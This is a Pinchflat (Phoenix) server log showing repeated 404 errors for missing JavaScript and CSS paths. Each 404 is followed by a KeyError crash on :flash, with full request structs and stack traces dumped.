"x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3897.0>, params: %{}, path_info: ["js", "lkk_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/js/lkk_ch.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDqVpx7qhh9pFAAAFGC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47612}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/lkk_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47612}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3897.0>, params: %{}, path_info: ["js", "lkk_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => P (truncated) 01:31:53.250 [info] GET /assets/js/auth.js 01:31:53.251 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=954.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:53.251 [debug] QUERY OK source="settings" db=0.4ms idle=726.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:53.252 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:31:53.252 [error] #PID<0.3901.0> running PinchflatWeb.Endpoint (connection #PID<0.3900.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /assets/js/auth.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/auth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3900.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47618}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3901.0>, params: %{}, path_info: ["assets", "js", "auth"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/assets/js/auth.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDqVyi3Q3IhKQ0AAFIC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3900.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47618}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/auth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3900.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47618}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3901.0>, params: %{}, path_info: ["assets", "js", "auth"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.in (truncated) 01:31:53.385 [info] GET /assets/js/qr_modal.js 01:31:53.386 [debug] QUERY OK source="settings" db=0.4ms idle=860.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:53.387 [debug] QUERY OK source="settings" db=0.1ms idle=861.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:53.387 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:31:53.388 [error] #PID<0.3903.0> running PinchflatWeb.Endpoint (connection #PID<0.3902.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /assets/js/qr_modal.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/qr_modal (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3902.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/qr_modal.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47620}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3903.0>, params: %{}, path_info: ["assets", "js", "qr_modal"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/assets/js/qr_modal.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDqVzDKatrf0PEAAFKC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3902.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/qr_modal.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47620}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/qr_modal (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3902.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/qr_modal.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47620}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3903.0>, params: %{}, path_info: ["assets", "js", "qr_modal"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix (truncated) 01:31:53.668 [info] GET /css/support_parent.css 01:31:53.669 [debug] QUERY OK source="settings" db=0.2ms idle=417.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:53.669 [debug] QUERY OK source="settings" db=0.1ms idle=417.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:53.669 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:31:53.670 [error] #PID<0.3907.0> running PinchflatWeb.Endpoint (connection #PID<0.3906.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /css/support_parent.css ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /css/support_parent (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3906.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47624}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3907.0>, params: %{}, path_info: ["css", "support_parent"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/css/support_parent.css", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDqV0Gkb4HlgeYAAFMC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3906.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47624}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /css/support_parent (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3906.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47624}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3907.0>, params: %{}, path_info: ["css", "support_parent"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_ (truncated) 01:31:53.830 [info] GET /js/twint_ch.js 01:31:53.831 [debug] QUERY OK source="settings" db=0.3ms idle=532.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:53.831 [debug] QUERY OK 